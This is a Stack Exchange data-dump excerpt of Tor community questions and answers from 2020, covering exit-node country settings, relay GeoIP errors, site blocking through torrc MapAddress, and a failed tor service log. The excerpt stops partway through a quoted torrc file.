  <row Id="21538" PostTypeId="1" CreationDate="2020-08-28T10:24:29.150" Score="3" ViewCount="5321" Body="&lt;p&gt;I need to configure my Tor to exit US.  I've read lots of tips from various web sites.  In general, they all say to edit the torrc file and add ExitNodes {us} .&lt;/p&gt;&#xA;&lt;p&gt;It does not work.  If I go to something like gmail.com after setting that parameter, it seems to always indicate United States.  Without that parameter, gmail will show up in various random languages.  But if I go to another site that blocks any non-USA users, it will let me go through all the motions of creating an account, then when it's time to verify the account, it fails because it says I am not in USA.  The site then permanently flags that username as outside USA, and I can never use it again.  It also tracks the email address I used to create the account, so now that email address is orphaned and can never be used again at that site.&lt;/p&gt;&#xA;&lt;p&gt;I finally learned to use the little green lock at the eft end of the URL window.  That shows me what my connection paths are.  It always starts at USA, but almost never ends there.  Even when it ends at USA briefly, it then changes to some other country.&lt;/p&gt;&#xA;&lt;p&gt;Some other parameters I have tried, based on various suggestions to fix this problem, are&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;StrictNodes 1  &#xA;EntryNodes {us} HSLayer2Nodes {us} HSLayer3Nodes {us}  &#xA;ExitNodes {US}   (all caps, as recommended by one site)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;None of them work.  My Tor almost always exits at some country other than USA.&lt;/p&gt;&#xA;&lt;p&gt;I realize the TOR site support FAQs say that it isn't recommended to force a particular county exit, and that it reduces security &amp;amp; effectiveness to do so.  However, in this case, I'm more concerned about making sure the IP address is USA than I am in maximum security.&lt;/p&gt;&#xA;&lt;p&gt;This is my current complete torrc file contents:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# This file was generated by Tor; if you edit it, comments will not be preserved&#xA;# The old torrc file was renamed to torrc.orig.1 or similar, and Tor will ignore it&#xA;&#xA;ClientOnionAuthDir C:\utils\Tor Browser\Browser\TorBrowser\Data\Tor\onion-auth&#xA;DataDirectory C:\utils\Tor Browser\Browser\TorBrowser\Data\Tor&#xA;GeoIPFile C:\utils\Tor Browser\Browser\TorBrowser\Data\Tor\geoip&#xA;GeoIPv6File C:\utils\Tor Browser\Browser\TorBrowser\Data\Tor\geoip6&#xA;ExitNodes {US} StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Any suggestions on how to make this work?&lt;/p&gt;&#xA;" OwnerUserId="30828" LastEditorUserId="1856" LastEditDate="2021-12-12T20:35:55.530" LastActivityDate="2021-12-12T20:35:55.530" Title="How to force 2020 version of Tor to exit specific country" Tags="|configuration|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="21542" PostTypeId="1" CreationDate="2020-08-30T22:23:00.303" Score="0" ViewCount="86" Body="&lt;p&gt;I read somewhere its not a good idea to remain connected to TOR network for long periods of time because it gives an attackers more opportunity to de-anonymize.&lt;/p&gt;&#xA;&lt;p&gt;The machine I am using is unatttended much of the time, and would otherwise be 'always on', the TOR network which worries me.&lt;/p&gt;&#xA;&lt;p&gt;Is there a way to make TOR check for network inactivity and disconnect automatically after X minutes?&lt;/p&gt;&#xA;&lt;p&gt;If so, is there a quick simple way to reconnect after disconnect?&lt;/p&gt;&#xA;&lt;p&gt;Ideal scenario would be for it to sense a proxied web browser being used on it again and arc back up, but dont know if this is possible.&lt;/p&gt;&#xA;&lt;p&gt;Can it detect browser activity and connect?&lt;/p&gt;&#xA;&lt;p&gt;Thankyou TOR gurus&lt;/p&gt;&#xA;" OwnerUserId="30839" LastActivityDate="2020-08-30T22:23:00.303" Title="Disconnect after X minutes inactivity?" Tags="|configuration|help|linux|circuit|attacks|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21543" PostTypeId="1" CreationDate="2020-08-31T06:21:02.230" Score="0" ViewCount="42" Body="&lt;p&gt;All IPs which are connecting to Middle Realy, except the IPs in the consensus file are Bridge IPs?&lt;/p&gt;&#xA;&lt;p&gt;Are there any other IPs possible?&lt;/p&gt;&#xA;" OwnerUserId="30841" LastActivityDate="2022-01-23T12:06:50.657" Title="All IPs which are connecting to Middle, except the IPs in consensus file are Bridges?" Tags="|bridge|middle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21544" PostTypeId="2" ParentId="21543" CreationDate="2020-08-31T07:29:50.200" Score="0" Body="&lt;p&gt;The Tor network does not make any distinction about &amp;quot;middle&amp;quot; relays, so I'm assuming you mean a relay without the &lt;em&gt;Guard&lt;/em&gt; or &lt;em&gt;Exit&lt;/em&gt; flags.&lt;/p&gt;&#xA;&lt;p&gt;In most cases incoming connections will be from guard or bridge relays, but not always. A Tor client is allowed to build circuits through any relays it wants in any order, so a Tor client may connect directly to a &amp;quot;middle&amp;quot; relay. Directory authorities may also connect directly to the relay in order to check if it's up. If the relay is acting as a directory cache, people may also download directory documents from the relay's DirPort. I'm not sure if there are others.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastEditorUserId="24966" LastEditDate="2020-08-31T08:05:57.143" LastActivityDate="2020-08-31T08:05:57.143" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21545" PostTypeId="1" CreationDate="2020-08-31T12:15:51.613" Score="1" ViewCount="554" Body="&lt;p&gt;We known that an adversary can deanonymize a user (on clearnet) if it controls both the guard and the exit node.&#xA;But is that neccesary?&#xA;We know that the NSA gets huge amounts of data from the internet.&#xA;What stops them from having all the Tor nodes data from all the European, American ISPs without owning the nodes?&#xA;So if I connect to the guard node, the NSA gets the ISP data and sees that my IP connects to that node and that node sends data to an other relay. The NSA sees the ISP data of the middle relay and does the same as before. Then in the exit node the third ISP sees that it connects to a website and the NSA sees that.&#xA;So the have deanonymized me, without controlling any of the nodes.&lt;/p&gt;&#xA;&lt;p&gt;What stops the NSA from requesting data from foreign and Local ISPs for Tor nodes and thus deanonymizing every single user?&#xA;Most nodes are in Europe (US friendly), US, Canada (US friendly) and Latin America (which may cooperate).&lt;/p&gt;&#xA;" OwnerUserId="30842" LastEditorUserId="31632" LastEditDate="2021-05-31T23:43:17.533" LastActivityDate="2022-03-30T07:02:55.327" Title="Tor deanonymization via ISPs" Tags="|exit-relays|deanonymization|node|traffic-analysis|internet-service-provider|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21546" PostTypeId="2" ParentId="21545" CreationDate="2020-08-31T13:45:52.907" Score="0" Body="&lt;p&gt;Tor does not protect against a global adversary, especially one that has access to most relays and can perform the huge amount of data logging and processing that you describe. That's why it's important for volunteers to run relays in a wide set of countries.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;What stops the NSA from requesting data from foreign and Local ISPs for Tor nodes and thus deanonymizing every single user?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Many governments share data in the name of national security, but they do not necessarily give up vast amounts of their citizens' personal data or business data voluntarily without reason to foreign nations simply because they ask for it.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-08-31T13:45:52.907" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21547" PostTypeId="1" CreationDate="2020-09-01T05:08:59.760" Score="0" ViewCount="40" Body="&lt;p&gt;I have a Tor relay running in VPS and i would like to get that entire traffic to my remote system. What are the ways to get that whole traffic?&lt;/p&gt;&#xA;&lt;p&gt;One option would be VPN but i am getting all traffic encrypted in the VPN tunnel.&#xA;Need to see exact traffic at my remote machine for analysis.&lt;/p&gt;&#xA;&lt;p&gt;Any idea?&lt;/p&gt;&#xA;" OwnerUserId="30845" LastActivityDate="2020-09-01T05:08:59.760" Title="I have service running in VPS and i would like to get that entire traffic to my remote machine. What are the ways to get that whole traffic?" Tags="|vpn|vps|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21549" PostTypeId="1" CreationDate="2020-09-04T10:14:46.167" Score="0" ViewCount="184" Body="&lt;p&gt;On &lt;a href=&quot;https://metrics.torproject.org/rs.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;relay search&lt;/a&gt; my new Tor relay's country is given as Ukraine.  In fact it's in Germany.  Also the AS given on relay search is wrong.&lt;/p&gt;&#xA;&lt;p&gt;Have I configured the relay wrongly?  Can I change this so its country is correct?&lt;/p&gt;&#xA;&lt;p&gt;This is significant, as a user wishing to avoid relays in Germany might get mine in error.&lt;/p&gt;&#xA;" OwnerUserId="30858" LastActivityDate="2022-03-01T23:05:35.603" Title="My new relay is recorded in the wrong country" Tags="|relays|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21550" PostTypeId="2" ParentId="21549" CreationDate="2020-09-04T14:16:43.613" Score="0" Body="&lt;p&gt;There is no way to change this. The country code is assigned to the relay by the association of its IP address in a &amp;quot;GeoIP&amp;quot; GeoLite2 database provided by MaxMind. Unfortunately these types of GeoIP assignments can be incorrect, and also become more out-of-date over time.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-09-04T14:16:43.613" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21551" PostTypeId="2" ParentId="10164" CreationDate="2020-09-04T17:46:42.753" Score="0" Body="&lt;p&gt;I had similar issue after installing Tor Browser into &amp;quot;C:\Program Files\&amp;quot;. The solution was to run Tor Browser as Administrator, due to write permissions into system protected folders like &amp;quot;Program Files&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Go to executable file (or shortcut that you use for running Tor Browser) Properties &amp;gt; Compatibility and tick &amp;quot;Run this program as administrator&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Screenshot:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tS3vy.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="30857" LastActivityDate="2020-09-04T17:46:42.753" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21552" PostTypeId="1" AcceptedAnswerId="21554" CreationDate="2020-09-04T18:21:58.827" Score="0" ViewCount="154" Body="&lt;p&gt;I wonder if there is a graphical interface for &lt;strong&gt;Windows&lt;/strong&gt; to run &lt;strong&gt;Tor Browser&lt;/strong&gt; using specific list of &lt;strong&gt;ExitNodes&lt;/strong&gt; rather than editing &lt;strong&gt;torrc&lt;/strong&gt; every time?&lt;/p&gt;&#xA;&lt;p&gt;There are too many steps to perform this. Too bad that Tor Browser itself does not support that. It would be a very nice feature to be able to click a couple of times rather than finding country codes, editing configuration files and only then running Tor Browser. It would be even cooler if that program could start up the &lt;strong&gt;firefox.exe&lt;/strong&gt; itself aswell. Sounds alot simply however.&lt;/p&gt;&#xA;&lt;p&gt;Regards.&lt;/p&gt;&#xA;" OwnerUserId="30857" LastEditorUserId="30857" LastEditDate="2020-09-04T20:18:19.877" LastActivityDate="2020-09-05T19:54:47.873" Title="Is there a graphical interface for Windows to run Tor Browser using specific list of ExitNodes rather than editing torrc every time?" Tags="|configuration|windows|exit-relays|firefox|location|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21553" PostTypeId="2" ParentId="21549" CreationDate="2020-09-04T19:49:01.260" Score="0" Body="&lt;p&gt;Sorry, I have no chance to add a comment since I have too low reputation so far. But I would like to give a more exact answer to this question. Here is a very logical answer to your question, to complete the answer that @&lt;strong&gt;Steve&lt;/strong&gt; gave you:&lt;/p&gt;&#xA;&lt;p&gt;Your relay is using Tor version &lt;strong&gt;0.4.3.6&lt;/strong&gt; which was released on &lt;strong&gt;2020-07-09&lt;/strong&gt;, which uses GeoIP2 database &amp;quot;&lt;strong&gt;Last updated based on December 3 2019 Maxmind GeoLite2 Country&lt;/strong&gt;&amp;quot; (read from source). If we then go further to &lt;a href=&quot;https://apps.db.ripe.net/db-web-ui/query?bflag=true&amp;amp;dflag=false&amp;amp;rflag=true&amp;amp;searchtext=95.111.230.178&amp;amp;source=RIPE&amp;amp;types=inetnum&quot; rel=&quot;nofollow noreferrer&quot;&gt;RIPE Database&lt;/a&gt;, we can see that last update to your IP range was made on &lt;strong&gt;2020-04-15&lt;/strong&gt;, which was after the date &lt;strong&gt;2019-12-03&lt;/strong&gt; when your GeoIP2 database was released.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;Simply wait for Tor to update their &lt;a href=&quot;https://dev.maxmind.com/geoip/geoip2/geolite2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;GeoIP2 database&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;PS. It is so easy to find people on Google by only using four keywords: &lt;a href=&quot;https://google.com/search?q=Tor%20Relay%20Ukraine%20Lark&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Tor&lt;/strong&gt;, &lt;strong&gt;Relay&lt;/strong&gt;, &lt;strong&gt;Ukraine&lt;/strong&gt; and &lt;strong&gt;Lark&lt;/strong&gt;&lt;/a&gt; :-D&lt;/p&gt;&#xA;&lt;p&gt;Regards.&lt;/p&gt;&#xA;" OwnerUserId="30857" LastEditorUserId="30857" LastEditDate="2020-09-05T09:39:38.137" LastActivityDate="2020-09-05T09:39:38.137" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21554" PostTypeId="2" ParentId="21552" CreationDate="2020-09-05T19:54:47.873" Score="0" Body="&lt;p&gt;Alright. After doing some search I didn't find such application, so I wrote my own. &lt;strong&gt;Tor Browser Launcher&lt;/strong&gt; is written in Delphi using FireMonkey framework and compiled for 32/64-bit Windows architectures:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.te-home.net/?do=work&amp;amp;id=tbl&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Browser Launcher&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gkF5X.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Any further feature requests are welcome. The interface will be updated after your needs of configuration set.&lt;/p&gt;&#xA;&lt;p&gt;Regards.&lt;/p&gt;&#xA;" OwnerUserId="30857" LastActivityDate="2020-09-05T19:54:47.873" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21555" PostTypeId="1" CreationDate="2020-09-06T01:18:50.467" Score="0" ViewCount="730" Body="&lt;p&gt;Is it okay to set the Security setting to Safest then change the about:config settings for javascript.enabled to True and allow scripts for certain websites like Stackexchange and Reddit? I don't know exactly which ones are needed so I would just set them all to Temporarily Trusted&lt;/p&gt;&#xA;&lt;p&gt;I found if I do this then go to old.reddit.com it works much better. If you don't change the about:config settings Tor won't let you connect to old.reddit.com&lt;/p&gt;&#xA;&lt;p&gt;Does doing this weaken my anonymity alot?&#xA;Is it okay to allow javascript on some sites while not allowing it on others where anonymity is very important durring the same session?&lt;/p&gt;&#xA;&lt;p&gt;Alternativley, I can set the Security setting to Safer but then I won't have as much anonymity and I would have to restart Tails when I want more anonymity.&lt;/p&gt;&#xA;" OwnerUserId="30194" LastEditorUserId="30194" LastEditDate="2020-09-14T09:31:34.747" LastActivityDate="2021-03-08T12:43:28.300" Title="How to use Tails/Tor with sites that need Javascript" Tags="|tails|javascript|noscript|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21557" PostTypeId="2" ParentId="15813" CreationDate="2020-09-07T22:34:03.690" Score="0" Body="&lt;p&gt;As it was already written in Alexeys answer Tor arm has a new name: &lt;a href=&quot;https://nyx.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;nyx&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;When you want to use another configuration file, you can use the following line:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;nyx --config /path/to/config&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However using &lt;code&gt;/etc/tor/torrc&lt;/code&gt; or any other &lt;code&gt;torrc&lt;/code&gt; will not work. Tor uses a different set of options than nyx.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2020-09-07T22:34:03.690" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21560" PostTypeId="1" CreationDate="2020-09-10T22:29:59.813" Score="1" ViewCount="85" Body="&lt;p&gt;Let's say I got 100.000 different hidden services all connecting to localhost on port 8080.&lt;/p&gt;&#xA;&lt;p&gt;Would there be a way for my server to know which service the connection came from? Maybe by looking up the port number used by the socket and check with Tor which service created it? Is something like that possible using the tor control protocol?&lt;/p&gt;&#xA;&lt;p&gt;I know it's a silly scenario, but I do wonder about this. The idea is to have a different hidden service address for each user of my server (which would be invite only). Then I could easily mitigate DoS attacks by just disabling the address the traffic is coming from.&lt;/p&gt;&#xA;&lt;p&gt;Or is there a way to just get data about the incoming traffic volume coming from my services?&lt;/p&gt;&#xA;" OwnerUserId="27782" LastActivityDate="2020-09-12T14:39:10.490" Title="Can I know which of my hidden services redirected the connection to my server?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21561" PostTypeId="2" ParentId="21560" CreationDate="2020-09-12T14:39:10.490" Score="1" Body="&lt;p&gt;I guess the easiest way would be one of:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use separate port number for each hidden service and have your server listen on all of them;&lt;/li&gt;&#xA;&lt;li&gt;Use separate ip address on loopback / dummy device for each hidden service.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;This was you have unambiguous mapping from hidden service name to either target port or target address.&lt;/p&gt;&#xA;" OwnerUserId="20437" LastActivityDate="2020-09-12T14:39:10.490" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21564" PostTypeId="1" CreationDate="2020-09-13T23:20:19.130" Score="0" ViewCount="139" Body="&lt;p&gt;I've installed the latest TOR Browser Bundle 9.5.4 ESR for Debian Linux and it doesn't allow access to the privacy/security settings tab any more. If you open Menu &amp;gt; Preferences, the following tabs/pages won't open any more:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;about:preferences#home&#xA;about:preferences#search&#xA;about:preferences#privacy&#xA;about:preferences#tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Can anyone reproduce this behavior? Also, since the most recent update, TOR quietly keeps installing a package that keeps popping up as a permanent process &lt;code&gt;debian-tor&lt;/code&gt; that cannot be killed/keeps restarting. Also, the browser suffers from extreme memory leaks and CPU/RAM loads. Plus, the addon shortcuts (uBlock Origin, HTTPS Everywhere, NoScript) are no longer displayed in the menu bar and, in particular, NoScript options are no longer editable (a loading animation will appear indefinitely).&lt;/p&gt;&#xA;&lt;p&gt;It feels like TOR is completely getting out of control...&lt;/p&gt;&#xA;" OwnerUserId="28784" LastActivityDate="2022-03-08T16:01:35.173" Title="Latest TOR Browser Bundle update fails to open privacy/security settings tab, strange behavior" Tags="|tor-browser-bundle|firefox|debian|add-on|settings|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21565" PostTypeId="2" ParentId="21564" CreationDate="2020-09-14T00:42:35.010" Score="0" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;If you open Menu &amp;gt; Preferences, the following tabs/pages won't open any more [...]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Those links work fine for me on Linux with Tor Browser 9.5.4. Maybe try re-installing the browser, otherwise maybe make a bug report.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Also, since the most recent update, TOR quietly keeps installing a package that keeps popping up as a permanent process debian-tor that cannot be killed/keeps restarting.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This is because you installed the &lt;code&gt;tor&lt;/code&gt; package from an apt repository (either you ran &lt;code&gt;apt install tor&lt;/code&gt;, or you installed something that depends on tor like OnionShare). You can run &lt;code&gt;apt remove tor&lt;/code&gt; to uninstall it.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Plus, the addon shortcuts (uBlock Origin, HTTPS Everywhere, NoScript) are no longer displayed in the menu bar&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;They were removed from the menu bar to prevent people from making changes that could harm their anonymity. If you want to put these icons on your menu bar, right-click the menu bar and choose &amp;quot;Customize&amp;quot;.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-09-14T00:42:35.010" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21570" PostTypeId="1" CreationDate="2020-09-18T06:31:56.120" Score="0" ViewCount="90" Body="&lt;p&gt;I would like to give my website an onion address and make it Tor accessible, while using TailsOS. Its currently on clearnet. How would I go about doing that?&lt;/p&gt;&#xA;" OwnerUserId="30919" LastActivityDate="2022-02-20T22:42:15.430" Title="I'd like to give my website an onion address and make it Tor-accessible, while using TailsOS. How would I do that?" Tags="|configuration|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21571" PostTypeId="2" ParentId="15501" CreationDate="2020-09-18T13:45:58.207" Score="1" Body="&lt;p&gt;I know this question is 3 years old, but I'd like to update the question for the newer versions of Tails. Tails currently does not support USBs with less than 8GB of space. You can install it on a 4GB unit by modifying partition images, but you'll get an error during system boot.&lt;/p&gt;&#xA;" OwnerUserId="30920" LastActivityDate="2020-09-18T13:45:58.207" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21572" PostTypeId="2" ParentId="15505" CreationDate="2020-09-18T16:43:47.320" Score="5" Body="&lt;p&gt;I was getting this error, after installation with Chocolatey, when trying to start Tor Browser:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Tor Browser does not have permission to access the profile.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I tried changing permissions on &lt;code&gt;C:\ProgramData\chocolatey\lib\tor-browser\tools\tor-browser\Browser\&lt;/code&gt; and similar, as recommended &lt;a href=&quot;https://tor.stackexchange.com/a/19653/30917&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://disq.us/p/29xzckq&quot; rel=&quot;noreferrer&quot;&gt;there&lt;/a&gt;, but it still didn't work.&lt;/p&gt;&#xA;&lt;p&gt;What finally did it was giving my user Write and Modify permissions to &lt;code&gt;C:\Program Files\Tor Browser\Browser&lt;/code&gt; (as well as R&amp;amp;E, List, Read). (Even though I was already in a group (Administrators) that had such permissions.)&lt;/p&gt;&#xA;&lt;p&gt;This is in Sep. 2020, with version 9.5.4.&lt;/p&gt;&#xA;" OwnerUserId="30917" LastActivityDate="2020-09-18T16:43:47.320" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21573" PostTypeId="1" CreationDate="2020-09-19T20:46:32.570" Score="2" ViewCount="2554" Body="&lt;p&gt;I need to block a bunch of different websites, otherwise my productivity goes to crap.&lt;/p&gt;&#xA;&lt;p&gt;There have been a couple of questions asked here, but no one has given a good answer that I can see.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/1964/how-to-block-certain-websites-in-tor&quot;&gt;How to block certain websites in Tor&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/11729/how-block-clearnet-in-tor-browser&quot;&gt;How block clearnet in Tor browser?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/14900/blocking-websites-without-breaking-annonmytity&quot;&gt;blocking websites without breaking annonmytity.&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/21293/block-tor-websites-on-browser-manually&quot;&gt;Block TOR websites on browser manually&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;There has to be a way of making it so that some websites are inaccessible. Are there any good / trusted addons I can use? Ublock is to easy to quickly disable.&lt;/p&gt;&#xA;&lt;p&gt;To highlight how far I need to go to prevent my lazy butt from spending all day on youtube, before I started using tor I had my firewall rules protected by a random 50 digit password written on a piece of paper&lt;/p&gt;&#xA;&lt;p&gt;Please help. My safety would be at risk If I did not use tor,  but over the last month I have gotten very little done, and its because I have not been able to figure out how to do content blocking in a secure way. Its fine if it reduces my privacy a little, but I dont want to install some random ad-on.&lt;/p&gt;&#xA;" OwnerUserId="30928" LastActivityDate="2020-12-28T22:42:39.637" Title="How do i block websites in the tor browser, productivity filter" Tags="|network-configuration|censorship|add-on|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21574" PostTypeId="2" ParentId="21573" CreationDate="2020-09-19T22:07:57.493" Score="2" Body="&lt;p&gt;If you know the domain names of the websites you want to block, you can do this easily if you edit your Tor configuration file (the &lt;code&gt;torrc&lt;/code&gt; file). You can read how to do this here: &lt;a href=&quot;https://support.torproject.org/tbb/tbb-editing-torrc/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.torproject.org/tbb/tbb-editing-torrc/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To block these websites, you want to use Tor's &lt;code&gt;MapAddress&lt;/code&gt; option. This redirects requests for one address to another, so in this case we can map the domain name we want to block to the local computer's address, which will cause the browser to give an &amp;quot;Unable to connect&amp;quot; error. For example, to block google.com, add the following line to your &lt;code&gt;torrc&lt;/code&gt; file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;MapAddress *.google.com 127.0.0.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can add this line as many times as you like for as many domain names as you'd like. The &lt;code&gt;*&lt;/code&gt; is a wildcard to match google.com and subdomains such as drive.google.com.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This may harm your privacy if other websites are able to tell that third-party requests to these domain names fail. I make no claims about any privacy implications of blocking websites in Tor Browser.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-09-19T22:07:57.493" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21576" PostTypeId="1" CreationDate="2020-09-20T23:10:12.663" Score="0" ViewCount="1539" Body="&lt;pre&gt;&lt;code&gt;[user@PC ~]$ sudo systemctl status tor&#xA;● tor.service - Anonymizing Overlay Network&#xA;     Loaded: loaded (/usr/lib/systemd/system/tor.service; enabled; vendor preset: disabled)&#xA;     Active: failed (Result: exit-code) since Sun 2020-09-20 18:57:44 EDT; 1min 33s ago&#xA;   Main PID: 543 (code=exited, status=1/FAILURE)&#xA;&#xA;Sep 20 18:57:44 RIZT-DPC tor[543]: Sep 20 18:57:44.001 [notice] Opened Transparent pf/netfilter listener on 127.0.0.1:9040&#xA;Sep 20 18:57:44 RIZT-DPC tor[543]: Sep 20 18:57:44.001 [notice] Opening Control listener on 127.0.0.1:9051&#xA;Sep 20 18:57:44 RIZT-DPC tor[543]: Sep 20 18:57:44.001 [notice] Opened Control listener on 127.0.0.1:9051&#xA;Sep 20 18:57:44 RIZT-DPC tor[543]: Sep 20 18:57:44.001 [notice] Closing partially-constructed Socks listener on 127.0.0.1:9050&#xA;Sep 20 18:57:44 RIZT-DPC tor[543]: Sep 20 18:57:44.001 [notice] Closing partially-constructed Transparent pf/netfilter listener on 127.0.0.1:&amp;gt;&#xA;Sep 20 18:57:44 RIZT-DPC tor[543]: Sep 20 18:57:44.001 [notice] Closing partially-constructed Control listener on 127.0.0.1:9051&#xA;Sep 20 18:57:44 RIZT-DPC tor[543]: Sep 20 18:57:44.001 [warn] Failed to parse/validate config: Failed to bind one of the listener ports.&#xA;Sep 20 18:57:44 RIZT-DPC tor[543]: Sep 20 18:57:44.001 [err] Reading config failed--see warnings above.&#xA;Sep 20 18:57:44 RIZT-DPC systemd[1]: tor.service: Main process exited, code=exited, status=1/FAILURE&#xA;Sep 20 18:57:44 RIZT-DPC systemd[1]: tor.service: Failed with result 'exit-code'.&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is the error I get when checking Tor status on startup. I can't get it to start manually, either. I have Tor set up as a SOCKS proxy, and HTTP proxy using Privoxy. I am using Manjaro.&lt;/p&gt;&#xA;&lt;p&gt;Here is my torrc:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;## Configuration file for a typical Tor user&#xA;## Last updated 22 April 2012 for Tor 0.2.3.14-alpha.&#xA;## (may or may not work for much older or much newer versions of Tor.)&#xA;##&#xA;## Lines that begin with &amp;quot;## &amp;quot; try to explain what's going on. Lines&#xA;## that begin with just &amp;quot;#&amp;quot; are disabled commands: you can enable them&#xA;## by removing the &amp;quot;#&amp;quot; symbol.&#xA;##&#xA;## See 'man tor', or https://www.torproject.org/docs/tor-manual.html,&#xA;## for more options you can use in this file.&#xA;##&#xA;## Tor will look for this file in various places based on your platform:&#xA;## https://www.torproject.org/docs/faq#torrc&#xA;&#xA;## Tor opens a socks proxy on port 9050 by default -- even if you don't&#xA;## configure one below. Set &amp;quot;SocksPort 0&amp;quot; if you plan to run Tor only&#xA;## as a relay, and not make any local application connections yourself.&#xA;#SocksPort 9050 # Default: Bind to localhost:9050 for local connections.&#xA;#SocksPort 192.168.0.1:9100 # Bind to this adddress:port too.&#xA;&#xA;## Entry policies to allow/deny SOCKS requests based on IP address.&#xA;## First entry that matches wins. If no SocksPolicy is set, we accept&#xA;## all (and only) requests that reach a SocksPort. Untrusted users who&#xA;## can access your SocksPort may be able to learn about the connections&#xA;## you make.&#xA;#SocksPolicy accept 192.168.0.0/16&#xA;#SocksPolicy reject *&#xA;&#xA;## Logs go to stdout at level 